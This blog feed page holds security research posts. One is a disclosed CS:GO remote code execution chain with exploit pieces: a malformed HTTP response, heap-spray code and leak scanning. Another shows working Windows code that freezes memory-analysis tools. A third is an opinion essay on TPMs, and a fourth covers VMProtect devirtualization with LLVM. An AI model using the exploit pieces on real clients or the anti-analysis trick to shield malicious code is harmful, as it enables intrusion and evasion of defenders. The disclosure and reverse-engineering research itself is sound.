Normal view

There are new articles available, click to refresh the page.
Before yesterdaysecret club

Counter-Strike Global Offsets: reliable remote code execution

One of the factors contributing to Counter-Strike Global Offensive’s (herein “CS:GO”) massive popularity is the ability for anyone to host their own community server. These community servers are free to download and install and allow for a high grade of customization. Server administrators can create and utilize custom assets such as maps, allowing for innovative game modes.

However, this design choice opens up a large attack surface. Players can connect to potentially malicious servers, exchanging complex game messages and binary assets such as textures.

We’ve managed to find and exploit two bugs that, when combined, lead to reliable remote code execution on a player’s machine when connecting to our malicious server. The first bug is an information leak that enabled us to break ASLR in the client’s game process. The second bug is an out-of-bounds access of a global array in the .data section of one of the game’s loaded modules, leading to control over the instruction pointer.

Community server list

Players can join community servers using a user friendly server browser built into the game:

Once the player joins a server, their game client and the community server start talking to each other. As security researchers, it was our task to understand the network protocol used by CS:GO and what kind of messages are sent so that we could look for vulnerabilities.

As it turned out, CS:GO uses its own UDP-based protocol to serialize, compress, fragment, and encrypt data sent between clients and a server. We won’t go into detail about the networking code, as it is irrelevant to the bugs we will present.

More importantly, this custom UDP-based protocol carries Protobuf serialized payloads. Protobuf is a technology developed by Google which allows defining messages and provides an API for serializing and deserializing those messages.

Here is an example of a protobuf message defined and used by the CS:GO developers:

message CSVCMsg_VoiceInit {
	optional int32 quality = 1;
	optional string codec = 2;
	optional int32 version = 3 [default = 0];
}

We found this message definition by doing a Google search after having discovered CS:GO utilizes Protobuf. We came across the SteamDatabase GitHub repository containing a list of Protobuf message definitions.

As the name of the message suggests, it’s used to initialize some kind of voice-message transfer of one player to the server. The message body carries some parameters, such as the codec and version used to interpret the voice data.

Developing a CS:GO proxy

Having this list of messages and their definitions enabled us to gain insights into what kind of data is sent between the client and server. However, we still had no idea in which order messages would be sent and what kind of values were expected. For example, we knew that a message exists to initialize a voice message with some codec, but we had no idea which codecs are supported by CS:GO.

For this reason, we developed a proxy for CS:GO that allowed us to view the communication in real-time. The idea was that we could launch the CS:GO game and connect to any server through the proxy and then dump any messages received by the client and sent to the server. For this, we reverse-engineered the networking code to decrypt and unpack the messages.

We also added the ability to modify the values of any message that would be sent/received. Since an attacker ultimately controls any value in a Protobuf serialized message sent between clients and the server, it becomes a possible attack surface. We could find bugs in the code responsible for initializing a connection without reverse-engineering it by mutating interesting fields in messages.

The following GIF shows how messages are being sent by the game and dumped by the proxy in real-time, corresponding to events such as shooting, changing weapons, or moving:

Equipped with this tooling, it was now time for us to discover bugs by flipping some bits in the protobuf messages.

OOB access in CSVCMsg_SplitScreen

We discovered that a field in the CSVCMsg_SplitScreen message, that can be sent by a (malicious) server to a client, can lead to an OOB access which subsequently leads to a controlled virtual function call.

The definition of this message is:

message CSVCMsg_SplitScreen {
	optional .ESplitScreenMessageType type = 1 [default = MSG_SPLITSCREEN_ADDUSER];
	optional int32 slot = 2;
	optional int32 player_index = 3;
}

CSVCMsg_SplitScreen seemed interesting, as a field called player_index is controlled by the server. However, contrary to intuition, the player_index field is not used to access an array, the slot field is. As it turns out, the slot field is used as an index for the array of splitscreen player objects located in the .data segment of engine.dll file without any bounds checks.

Looking at the crash we could already observe some interesting facts:

  1. The array is stored in the .data section within engine.dll
  2. After accessing the array, an indirect function call on the accessed object occurs

The following screenshot of decompiled code shows how player_splot was used without any checks as an index. If the first byte of the object was not 1, a branch is entered:

The bug proved to be quite promising, as a few instructions into the branch a vtable is dereferenced and a function pointer is called. This is shown in the next screenshot:

We were very excited about the bug as it seemed highly exploitable, given an info leak. Since the pointer to an object is obtained from a global array within engine.dll, which at the time of writing is a 6MB binary, we were confident that we could find a pointer to data we control. Pointing the aforementioned object to attacker controlled data would yield arbitrary code execution.

However, we would still have to fake a vtable at a known location and then point the function pointer to something useful. Due to this constraint, we decided to look for another bug that could lead to an info leak.

Uninitialized memory in HTTP downloads leads to information disclosure

As mentioned earlier, server admins can create servers with any number of customizations, including custom maps and sounds. Whenever a player joins a server with such customizations, files behind the customizations need to be transferred. Server admins can create a list of files that need to be downloaded for each map in the server’s playlist.

During the connection phase, the server sends the client the URL of a HTTP server where necessary files should be downloaded from. For each custom file, a cURL request would be created. Two options that were set for each request piqued our interested: CURLOPT_HEADERFUNCTION and CURLOPT_WRITEFUNCTION. The former allows a callback to be registered that is called for each HTTP header in the HTTP response. The latter allows registering a callback that is triggered whenever body data is received.

The following screenshot shows how these options are set:

We were interested in seeing how Valve developers handled incoming HTTP headers and reverse engineered the function we named CurlHeaderCallback().

It turned out that the CurlHeaderCallback() simply parsed the Content-Length HTTP header and allocated an uninitialized buffer on the heap accordingly, as the Content-Length should correspond to the size of the file that should be downloaded.

The CurlWriteCallback() would then simply write received data to this buffer.

Finally, once the HTTP request finished and no more data was to be received, the buffer would be written to disk.

We immediately noticed a flaw in the parsing of the HTTP header Content-Length: As the following screenshot shows, a case sensitive compare was made.

Case sensitive search for the Content-Length header.

This compare is flawed as HTTP headers can be lowercase as well. This is only the case for Linux clients as they use cURL and then do the compare. On Windows the client just assumes that the value returned by the Windows API is correct. This yields the same bug, as we can just send an arbitrary Content-Length header with a small response body.

We set up a HTTP server with a Python script and played around with some HTTP header values. Finally, we came up with a HTTP response that triggers the bug:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 1337
content-length: 0
Connection: closed

When a client receives such a HTTP response for a file download, it would recognize the first Content-Length header and allocate a buffer of size 1337. However, a second content-length header with size 0 follows. Although the CS:GO code misses the second Content-Length header due to its case sensitive search and still expects 1337 bytes of body data, cURL uses the last header and finishes the request immediately.

On Windows, the API just returns the first header value even though the response is ill-formed. The CS:GO code then writes the allocated buffer to disk, along with all uninitialized memory contents, including pointers, contained within the buffer.

Although it appears that CS:GO uses the Windows API to handle the HTTP downloads on Windows, the exact same HTTP response worked and allowed us to create files of arbitrary size containing uninitialized memory contents on a player’s machine.

A server can then request these files through the CNETMsg_File message. When a client receives this message, they will upload the requested file to the server. It is defined as follows:

message CNETMsg_File {
	optional int32 transfer_id = 1;
	optional string file_name = 2;
	optional bool is_replay_demo_file = 3;
	optional bool deny = 4;
}

Once the file is uploaded, an attacker controlled server could search the file’s contents to find pointers into engine.dll or heap pointers to break ASLR. We described this step in detail in our appendix section Breaking ASLR.

Putting it all together: ConVars as a gadget

To further enable customization of the game, the server and client exchange ConVars, which are essentially configuration options.

Each ConVar is managed by a global object, stored in engine.dll. The following code snippet shows a simplified definition of such an object which is used to explain why ConVars turned out to be a powerful gadget to help exploit the OOB access:

struct ConVar {
    char *convar_name;
    int data_len;
    void *convar_data;
    int color_value;
};

A community server can update its ConVar values during a match and notify the client by sending the CNETMsg_SetConVar message:

message CMsg_CVars {
	message CVar {
		optional string name = 1;
		optional string value = 2;
		optional uint32 dictionary_name = 3;
	}

	repeated .CMsg_CVars.CVar cvars = 1;
}

message CNETMsg_SetConVar {
	optional .CMsg_CVars convars = 1;
}

These messages consist of a simple key/value structure. When comparing the message definition to the struct ConVar definition, it is correct to assume that the entirely attacker-controllable value field of the ConVar message is copied to the client’s heap and a pointer to it is stored in the convar_value field of a ConVar object.

As we previously discussed, the OOB access in CSVCMsg_SplitScreen occurs in an array of pointers to objects. Here is the decompilation of the code in which the OOB access occurs as a reminder:

Since the array and all ConVars are located in the .data section of engine.dll, we can reliably set the player_slot argument such that the ptr_to_object points to a ConVar value which we previously set. This can be illustrated as follows:

We also mentioned earlier that a few instructions after the OOB access a virtual method on the object is called. This happens as usual through a vtable dereference. Here is the code again as a reminder:

Since we control the contents of the object through the ConVar, we can simply set the vtable pointer to any value. In order to make the exploit 100% reliable, it would make sense to use the info leak to point back into the .data section of engine.dll into controlled data.

Luckily, some ConVars are interpreted as color values and expect a 4 byte (Red Blue Green Alpha) value, which can be attacker controlled. This value is stored directly in the color_value field in above struct ConVar definition. Since the CS:GO process on Windows is 32-bit, we were able to use the color value of a ConVar to fake a pointer.

If we use the fake object’s vtable pointer to point into the .data section of engine.dll, such that the called method overlaps with the color_value, we can finally hijack the EIP register and redirect control flow arbitrarily. This chain of dereferences can be illustrated as follows:

ROP chain to RCE

With ASLR broken and us having gained arbitrary instruction pointer control, all that was left to do was build a ROP chain that finally lead to us calling ShellExecuteA to execute arbitrary system commands.

Conclusion

We submitted both bugs in one report to Valve’s HackerOne program, along with the exploit we developed that proved 100% reliablity. Unfortunately, in over 4 months, we did not even receive an acknowledgment by a Valve representative. After public pressure, when it became apparent that Valve had also ignored other Security Researchers with similar impact, Valve finally fixed numerous security issues. We hope that Valve re-structures its Bug Bounty program to attract Security Researchers again.

Time Table

Date (DD/MM/YYYY) What
04.01.2021 Reported both bugs in one report to Valve’s bug bounty program
11.01.2021 A HackerOne triager verifies the bug and triages it
10.02.2021 First follow-up, no response from Valve
23.02.2021 Second follow-Up, no response from Valve
10.04.2021 Disclosure of Bug existance via twitter
15.04.2021 Third follow-up, no response from Valve
28.04.2021 Valve patches both bugs

Breaking ASLR

In the Uninitialized memory in HTTP downloads leads to information disclosure section, we showed how the HTTP download allowed us to view arbitrarily sized chunks of uninitialized memory in a client’s game process.

We discovered another message that seemed quite interesting to us: CSVCMsg_SendTable. Whenever a client received such a message, it would allocate an object with attacker-controlled integer on the heap. Most importantly, the first 4 bytes of the object would contain a vtable pointer into engine.dll.

def spray_send_table(s, addr, nprops):
    table = nmsg.CSVCMsg_SendTable()
    table.is_end = False
    table.net_table_name = "abctable"
    table.needs_decoder = False

    for _ in range(nprops):
        prop = table.props.add()
        prop.type = 0x1337ee00
        prop.var_name = "abc"
        prop.flags = 0
        prop.priority = 0
        prop.dt_name = "whatever"
        prop.num_elements = 0
        prop.low_value = 0.0
        prop.high_value = 0.0
        prop.num_bits = 0x00ff00ff

    tosend = prepare_payload(table, 9)
    s.sendto(tosend, addr)

The Windows heap is kind of nondeteministic. That is, a malloc -> free -> malloc combo will not yield the same block. Thankfully, Saar Amaar published his great research about the Windows heap, which we consulted to get a better understanding about our exploit context.

We came up with a spray to allocate many arrays of SendTable objects with markers to scan for when we uploaded the files back to the server. Because we can choose the size of the array, we chose a not so commonly alloacted size to avoid interference with normal game code. If we now deallocate all of the sprayed arrays at once and then let the client download the files the chance of one of the files to hit a previously sprayed chunk is relativly high.

In practice, we almost always got the leak in the first file and when we didn’t we could simply reset the connection and try again, as we have not corrupted the program state yet. In order to maximize success, we created four files for the exploit. This ensures that at least one of them succeeds and otherwise simply try again.

The following code shows how we scanned the received memory for our sprayed object to find the SendTable vtable which will point into engine.dll.

files_received.append(fn)
pp = packetparser.PacketParser(leak_callback)

for i in range(len(data) - 0x54):
    vtable_ptr = struct.unpack('<I', data[i:i+4])[0]
    table_type = struct.unpack('<I', data[i+8:i+12])[0]
    table_nbits = struct.unpack('<I', data[i+12:i+16])[0]
    if table_type == 0x1337ee00 and table_nbits == 0x00ff00ff:
        engine_base = vtable_ptr - OFFSET_VTABLE 
        print(f"vtable_ptr={hex(vtable_ptr)}")
        break

Preventing memory inspection on Windows

By: jm
23 May 2021 at 23:00

Have you ever wanted your dynamic analysis tool to take as long as GTA V to query memory regions while being impossible to kill and using 100% of the poor CPU core that encountered this? Well, me neither, but the technology is here and it’s quite simple!

What, Where, WTF?

As usual with my anti-debug related posts, everything starts with a little innocuous flag that Microsoft hasn’t documented. Or at least so I thought.

This time the main offender is NtMapViewOfSection, a syscall that can map a section object into the address space of a given process, mainly used for implementing shared memory and memory mapping files (The Win32 API for this would be MapViewOfFile).

NTSTATUS NtMapViewOfSection(
  HANDLE          SectionHandle,
  HANDLE          ProcessHandle,
  PVOID           *BaseAddress,
  ULONG_PTR       ZeroBits,
  SIZE_T          CommitSize,
  PLARGE_INTEGER  SectionOffset,
  PSIZE_T         ViewSize,
  SECTION_INHERIT InheritDisposition,
  ULONG           AllocationType,
  ULONG           Win32Protect);

By doing a little bit of digging around in ntoskrnl’s MiMapViewOfSection and searching in the Windows headers for known constants, we can recover the meaning behind most valid flag values.

/* Valid values for AllocationType */
MEM_RESERVE                0x00002000
SEC_PARTITION_OWNER_HANDLE 0x00040000
MEM_TOPDOWN                0x00100000
SEC_NO_CHANGE              0x00400000
SEC_FILE                   0x00800000
MEM_LARGE_PAGES            0x20000000
SEC_WRITECOMBINE           0x40000000

Initially I failed at ctrl+f and didn’t realize that 0x2000 is a known flag, so I started digging deeper. In the same function we can also discover what the flag does and its main limitations.

// --- MAIN FUNCTIONALITY ---
if (SectionOffset + ViewSize > SectionObject->SizeOfSection &&
    !(AllocationAttributes & 0x2000))
    return STATUS_INVALID_VIEW_SIZE;

// --- LIMITATIONS ---
// Image sections are not allowed
if ((AllocationAttributes & 0x2000) &&
    SectionObject->u.Flags.Image)
    return STATUS_INVALID_PARAMETER;

// Section must have been created with one of these 2 protection values
if ((AllocationAttributes & 0x2000) &&
    !(SectionObject->InitialPageProtection & (PAGE_READWRITE | PAGE_EXECUTE_READWRITE)))
    return STATUS_SECTION_PROTECTION;

// Physical memory sections are not allowed
if ((Params->AllocationAttributes & 0x20002000) &&
    SectionObject->u.Flags.PhysicalMemory)
    return STATUS_INVALID_PARAMETER;

Now, this sounds like a bog standard MEM_RESERVE and it’s possible to VirtualAlloc(MEM_RESERVE) whatever you want as well, however APIs that interact with this memory do treat it differently.

How differently you may ask? Well, after incorrectly identifying the flag as undocumented, I went ahead and attempted to create the biggest section I possibly could. Everything went well until I opened the ProcessHacker memory view. The PC was nigh unusable for at least a minute and after that process hacker remained unresponsive for a while as well. Subsequent runs didn’t seem to seize up the whole system however it still took up to 4 minutes for the NtQueryVirtualMemory call to return.

I guess you could call this a happy little accident as Bob Ross would say.

The cause

Since I’m lazy, instead of diving in and reversing, I decided to use Windows Performance Recorder. It’s a nifty tool that uses ETW tracing to give you a lot of insight into what was happening on the system. The recorded trace can then be viewed in Windows Performance Analyzer.

Trace Viewed in Windows Performance Analyzer

This doesn’t say too much, but at least we know where to look.

After spending some more time staring at the code in everyone’s favourite decompiler it became a bit more clear what’s happening. I’d bet that it’s iterating through every single page table entry for the given memory range. And because we’re dealing with terabytes of of data at a time it’s over a billion iterations. (MiQueryAddressState is a large function, and I didn’t think a short pseudocode snippet would do it justice)

This is also reinforced by the fact that from my testing the relation between view size and time taken is completely linear. To further verify this idea we can also do some quick napkin math to see if it all adds up:

instructions per second (ips) = 3.8Ghz * ~8
page table entries      (n)   = 12TB / 4096
time taken              (t)   = 3.5 minutes

instruction per page table entry = ips * t / n = ~2000

In my opinion, this number looks rather believable so, with everything added up, I’ll roll with the current idea.

Minimal Example

// file handle must be a handle to a non empty file
void* section = nullptr;
auto  status  = NtCreateSection(&section,
                                MAXIMUM_ALLOWED,
                                nullptr,
                                nullptr,
                                PAGE_EXECUTE_READWRITE,
                                SEC_COMMIT,
                                file_handle);
if (!NT_SUCCESS(status))
    return status;

// Personally largest I could get the section was 12TB, but I'm sure people with more
// memory could get it larger.
void* base = nullptr;
for (size_t i = 46;  i > 38; --i) {
    SIZE_T view_size = (1ull << i);
    status           = NtMapViewOfSection(section,
                                          NtCurrentProcess(),
                                          &base,
                                          0,
                                          0x1000,
                                          nullptr,
                                          &view_size,
                                          ViewUnmap,
                                          0x2000, // <- the flag
                                          PAGE_EXECUTE_READWRITE);

    if (NT_SUCCESS(status))
        break;
}

Do note that, ideally, you’d need to surround code with these sections because only the reserved portions of these sections cause the slowdown. Furthermore, transactions could also be a solution for needing a non-empty file without touching anything already existing or creating something visible to the user.

Conclusion

I think this is a great and powerful technique to mess with people analyzing your code. The resource usage is reasonable, all it takes to set it up is a few syscalls, and it’s unlikely to get accidentally triggered.

Windows 11: TPMs and Digital Sovereignty

28 June 2021 at 00:00

This article is an opinion held by a subset of members about the potential plan from Microsoft about their enforcement of a TPM to use Windows 11 and various features. This article will not go into great detail about all the good and bad of a TPM; there will be links at the end for you to continue your research, but it will go into the issues we see with enforcement. If you’re unfamiliar with what a TPM is or its general function we recommend taking a look at these links: What is a TPM?; TPM and Attestation.

As you may or may not have already noticed, many people are wondering about Microsoft’s new mandatory TPM 2.0 hardware requirement for Windows 11. If you look around the press releases, shallow technical documentation, and the myriad of buzzwords like “security,” “device health,” “firmware vulnerabilities,” and “malware,” you still haven’t received a straightforward answer as to why exactly you need this tech.

Part of system requirements from Microsoft

Many of you reading this article may have machines around the house or office you built from silicon that isn’t even seven years old. These still play today’s latest games without hiccup or issue, and unless you let your Grandma or 6-year old nephew on the machine recently, you likely don’t have malware either.

So, why do I suddenly need a TPM 2.0 device on my machine, then you ask? Well, the answer is quite simple. It’s not about you; it’s about them.

You see, the PC (emphasis on personal here) is in a way the last bastion of digital freedom you have, and that door is slowly closing. You need to only look at highly locked and controlled systems like consoles and phones to see the disparity.

Political affiliations aside, one can take the Wikileaks app removal from both the Apple store and Google play store as an excellent example of what the world looks like when your device controls you, instead of you controlling the device.

How does a TPM on my PC advance this agenda?

Twenty years ago, Microsoft set forth a goal of “trusted” computing called Palladium. While this technical goal has slowly but surely crept into Windows over the years, it has laid chiefly dormant because of critical missing infrastructure. This being that until recently, quite a large majority of consumer machines did not have a TPM, which you’ll learn later is a critical component to making Palladium work. And while we won’t deny that Bitlocker is excellent for if your device ever gets stolen, we will remind you that Microsoft always sold this tyranny to look great on the surface (no pun intended here).

When Palladium debuted, it was shot out of orbit by proponents of free and open software and back into hiding it went.

Comment about vendor withdrawal problem

So why is the TPM useful? The TPM (along with suitable firmware) is critical to measuring the state of your device - the boot state, in particular, to attest to a remote party that your machine is in a non-rooted state. It’s very similar to the Widevine L1 on Android devices; a third-party can then choose whether or not to serve you content. Everything will suddenly revolve around this “trust factor” of your PC. Imagine you want to watch your favorite show on Netflix in 4k, but your hardware trust factor is low? Too bad you’ll have to settle for the 720p stream. Untrusted devices could be watching in an instance of Linux KVM, and we can’t risk your pirating tools running in the background!

You might think that “It’s okay, though! I can emulate a TPM with KVM; the software already exists!” The unfortunate truth is that it’s not that simple. TPMs have unique keys burned in at manufacture time called Endorsement Keys, and these are unique per TPM. These keys are then cryptographically tied to the vendor who issued them, and as such, not only does a TPM uniquely identify your machine anywhere in the world, but content distributors can pick and choose what TPM vendors they want to trust. Sound familiar to you? It’s called Digital Rights Management, otherwise known as DRM.

Let’s not forget, Intel initially shipped the Pentium III with a built-in serial number unique per chip. Much the same initial fate as Palladium, it was also shot down by privacy groups, and the feature was subject to removal.

A common misunderstanding

There seems to be a lot misconceptions floating around in social media. In this section we’ll highlight one of them:

“I can patch the ISO or download one that removes the requirement.”

You can, sure. Windows and a majority of its components will function fine, similar to if you root your phone. Remember the part earlier, though, about 4k video content? That won’t be available to you (as an example). Whether it be a game or a movie, a vendor of consumable media decides what users they trust with their content. Unfortunately, without a TPM, you aren’t cutting it.

You’ve probably noticed that the marketing for this requirement is vague and confusing, and that’s intentional. It doesn’t do much for you, the consumer. However, it does set the stage for the future where Microsoft begins shipping their TPM on your processor. Enter Microsoft’s Pluton. The same technology is present in the Xbox. It would be an absolute dream come true for companies and vendors with special interests to completely own and control your PC to the same degree as a phone or the Xbox.

While the writers of this article will not deny that device attestation can bring excellent security for the standard consumers of the world, we cannot ignore that it opens the door to the restriction of user privacy and freedoms. It also paves the way to have the PC locked into a nice controllable cube for all the citizens to use.

You can see the wood for the trees here. When a company tells you that you need something, and it’s “for your own good,” and hey, they’re just on a humanitarian aid mission to save you from yourself, one should be highly skeptical. Microsoft is pushing this hard; we can even see them citing entirely dubious statistics. We took this one from The Verge:

“Microsoft has been warning for months that firmware attacks are on the rise. “Our Security Signals report found that 83 percent of businesses experienced a firmware attack, and only 29 percent are allocating resources to protect this critical layer,” says Weston.”

If you read into this link, you will find it cites information from Microsoft themselves, called “Security Signals,” and by the time you’re done reading it, you forgot how you got there in the first place. Not only is this statistic not factual, but successful firmware attacks are incredibly rare. Did we mention that a TPM isn’t going to protect you from UEFI malware that was planted on the device by a rogue agent at manufacture time? What about dynamic firmware attacks? Did you know that technologies such as Intel Boot Guard that have existed for the better part of a decade defend well against such attacks that might seek to overwrite flash memory?

Takeaway

We are here to remind you that the TPM requirement of Windows 11 furthers the agenda to protect the PC against you, its owner. It is one step closer to the lockdown of the PC. As Microsoft won the secure boot battle a decade ago, which is where Microsoft became the sole owner of the Secure Boot keys, this move also further tightens the screws on the liberties the PC gives us. While it won’t be evident immediately upon the launch of Windows 11, the pieces are moving together at a much faster pace.

We ask you to do your research in an age of increased restriction of personal freedom, censorship, and endless media propaganda. We strongly encourage you to research Microsoft’s future Pluton chip.

There are links provided below to research for yourself.

Tickling VMProtect with LLVM: Part 2

By: fvrmatteo
8 September 2021 at 23:00

This post will introduce the concepts of expression slicing and partial CFG, combining them to implement an SMT-driven algorithm to explore the virtualized CFG. Finally, some words will be spent on introducing the LLVM optimization pipeline, its configuration and its limitations.

Poor man’s slicer

Slicing a symbolic expression to be able to evaluate it, throw it at an SMT solver or match it against some pattern is something extremely common in all symbolic reasoning tools. Luckily for us this capability is trivial to implement with yet another C++ helper function. This technique has been referred to as Poor man’s slicer in the SATURN paper, hence the title of the section.

In the VMProtect context we are mainly interested in slicing one expression: the next program counter. We want to do that either while exploring the single VmBlocks (that, once connected, form a VmStub) or while exploring the VmStubs (that, once connected, form a VmFunction). The following C++ code is meant to keep only the computations related to the final value of the virtual instruction pointer at the end of a VmBlock or VmStub:

extern "C"
size_t HelperSlicePC(
  size_t rax, size_t rbx, size_t rcx, size_t rdx, size_t rsi,
  size_t rdi, size_t rbp, size_t rsp, size_t r8, size_t r9,
  size_t r10, size_t r11, size_t r12, size_t r13, size_t r14,
  size_t r15, size_t flags,
  size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR)
{
  // Allocate the temporary virtual registers
  VirtualRegister vmregs[30] = {0};
  // Allocate the temporary passing slots
  size_t slots[30] = {0};
  // Initialize the virtual registers
  size_t vsp = rsp;
  size_t vip = 0;
  // Force the relocation address to 0
  REL_ADDR = 0;
  // Execute the virtualized code
  vip = HelperStub(
    rax, rbx, rcx, rdx, rsi, rdi,
    rbp, rsp, r8, r9, r10, r11,
    r12, r13, r14, r15, flags,
    KEY_STUB, RET_ADDR, REL_ADDR,
    vsp, vip, vmregs, slots);
  // Return the sliced program counter
  return vip;
}

The acute observer will notice that the function definition is basically identical to the HelperFunction definition given before, with the fundamental difference that the arguments are passed by value and therefore useful if related to the computation of the sliced expression, but with their liveness scope ending at the end of the function, which guarantees that there won’t be store operations to the host context that could possibly bloat the code.

The steps to use the above helper function are:

  • The HelperSlicePC is cloned into a new throwaway function;
  • The call to the HelperStub function is swapped with a call to the VmBlock or VmStub of which we want to slice the final instruction pointer;
  • The called function is forcefully inlined into the HelperSlicePC function;
  • The optimization pipeline is executed on the cloned HelperSlicePC function resulting in the slicing of the final instruction pointer expression as a side-effect of the optimizations.

The following LLVM-IR snippet shows the idea in action, resulting in the final optimized function where the condition and edges of the conditional branch are clearly visible.

define dso_local i64 @HelperSlicePC(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) #5 {
  %1 = call { i32, i32, i32, i32 } asm "  xchgq  %rbx,${1:q}\0A  cpuid\0A  xchgq  %rbx,${1:q}", "={ax},=r,={cx},={dx},0,~{dirflag},~{fpsr},~{flags}"(i32 1) #4, !srcloc !9
  %2 = extractvalue { i32, i32, i32, i32 } %1, 0
  %3 = and i32 %2, 4080
  %4 = icmp eq i32 %3, 4064
  %5 = select i1 %4, i64 5371013457, i64 5371013227
  ret i64 %5
}

In the following section we’ll see how variations of this technique are used to explore the virtualized control flow graph, solve the conditional branches, and recover the switch cases.

Exploration

The exploration of a virtualized control flow graph can be done in different ways and usually protectors like VMProtect or Themida show a distinctive shape that can be pattern-matched with ease, simplified and parsed to obtain the outgoing edges of a conditional block.

The logic used by different VMProtect conditional jump versions has been detailed in the past, so in this section we are going to delve into an SMT-driven algorithm based on the incremental construction of the explored control flow graph and specifically built on top of the slicing logic explained in the previous section.

Given the generic nature of the detailed algorithm, nothing stops it from being used on other protectors. The usual catch is obviously caused by protections embedding hard to solve constraints that may hinder the automated solving phase, but the construction and propagation of the partial CFG constraints and expressions could still be useful in practice to pull out less automated exploration algorithms, or to identify and simplify anti-dynamic symbolic execution tricks (e.g. dummy loops leading to path explosion that could be simplified by LLVM’s loop optimization passes or custom user passes).

Partial CFG

A partial control flow graph is a control flow graph built connecting the currently explored basic blocks given the known edges between them. The idea behind building it, is that each time that we explore a new basic block, we gather new outgoing edges that could lead to new unexplored basic blocks, or even to known basic blocks. Every new edge between two blocks is therefore adding information to the entire control flow graph and we could actually propagate new useful constraints and values to enable stronger optimizations, possibly easing the solving of the conditional branches or even changing a known branch from unconditional to conditional.

Let’s look at two motivating examples of why building a partial CFG may be a good idea to be able to replicate the kind of reasoning usually implemented by symbolic execution tools, with the addition of useful built-in LLVM passes.

Motivating example #1

Consider the following partial control flow graph, where blue represents the VmBlock that has just been processed, orange the unprocessed VmBlock and purple the VmBlock of interest for the example.

Motivating example 1

Let’s assume we just solved the outgoing edges for the basic block A, obtaining two connections leading to the new basic blocks B and C. Now assume that we sliced the branch condition of the sole basic block B, obtaining an access into a constant array with a 64 bits symbolic index. Enumerating all the valid indices may be a non-trivial task, so we may want to restrict the search using known constraints on the symbolic index that, if present, are most likely going to come from the chain(s) of predecessor(s) of the basic block B.

To draw a symbolic execution parallel, this is the case where we want to collect the path constraints from a certain number of predecessors (e.g. we may want to incrementally harvest the constraints, because sometimes the needed constraint is locally near to the basic block we are solving) and chain them to be fed to an SMT solver to execute a successful enumeration of the valid indices.

Tools like Souper automatically harvest the set of path constraints while slicing an expression, so building the partial control flow graph and feeding it to Souper may be sufficient for the task. Additionally, with the LLVM API to walk the predecessors of a basic block it’s also quite easy to obtain the set of needed constraints and, when available, we may also take advantage of known-to-be-true conditions provided by the llvm.assume intrinsic.

Motivating example #2

Consider the following partial control flow graph, where blue represents the VmBlock that has just been processed, orange the unprocessed VmBlocks, purple the VmBlock of interest for the example, dashed red arrows the edges of interest for the example and the solid green arrow an edge that has just been processed.

Motivating example 2

Let’s assume we just solved the outgoing edges for the basic block E, obtaining two connections leading to a new block G and a known block B. In this case we know that we detected a jump to the previously visited block B (edge in green), which is basically forming a loop chain (BCEB) and we know that starting from B we can reach two edges (BC and DF, marked in dashed red) that are currently known as unconditional, but that, given the newly obtained edge EB, may not be anymore and therefore will need to be proved again. Building a new partial control flow graph including all the newly discovered basic block connections and slicing the branch of the blocks B and D may now show them as conditional.

As a real world case, when dealing with concolic execution approaches, the one mentioned above is the usual pattern that arises with index-based loops, starting with a known concrete index and running till the index reaches an upper or lower bound N. During the first N-1 executions the tool would take the same path and only at the iteration N the other path would be explored. That’s the reason why concolic and symbolic execution tools attempt to build heuristics or use techniques like state-merging to avoid running into path explosion issues (or at best executing the loop N times).

Building the partial CFG with LLVM instead, would mark the loop back edge as unconditional the first time, but building it again, including the knowledge of the newly discovered back edge, would immediately reveal the loop pattern. The outcome is that LLVM would now be able to apply its loop analysis passes, the user would be able to use the API to build ad-hoc LoopPass passes to handle special obfuscation applied to the loop components (e.g. encoded loop variant/invariant) or the SMT solvers would be able to treat newly created Phi nodes at the merge points as symbolic variables.

The following LLVM-IR snippet shows the sliced partial control flow graphs obtained during the exploration of the virtualized assembly snippet presented below.

start:
  mov rax, 2000
  mov rbx, 0
loop:
  inc rbx
  cmp rbx, rax
  jne loop

The original assembly snippet.

define dso_local i64 @FirstSlice(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  %1 = call i64 @HelperKeepPC(i64 5369464257)
  ret i64 %1
}

The first partial CFG obtained during the exploration phase

define dso_local i64 @SecondSlice(i64 %rax, i64 %rbx, i64 %rcx, i64 %rdx, i64 %rsi, i64 %rdi, i64 %rbp, i64 %rsp, i64 %r8, i64 %r9, i64 %r10, i64 %r11, i64 %r12, i64 %r13, i64 %r14, i64 %r15, i64 %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) {
  br label %1

1:                                                ; preds = %1, %0
  %2 = phi i64 [ 0, %0 ], [ %3, %1 ]
  %3 = add i64 %2, 1
  %4 = icmp eq i64 %2, 1999
  %5 = select i1 %4, i64 5369183207, i64 5369464257
  %6 = call i64 @HelperKeepPC(i64 %5)
  %7 = icmp eq i64 %6, 5369464257
  br i1 %7, label %1, label %8

8:                                                ; preds = %1
  ret i64 233496237
}

The second partial CFG obtained during the exploration phase. The block 8 is returning the dummy 0xdeaddead (233496237) value, meaning that the VmBlock instructions haven’t been lifted yet.

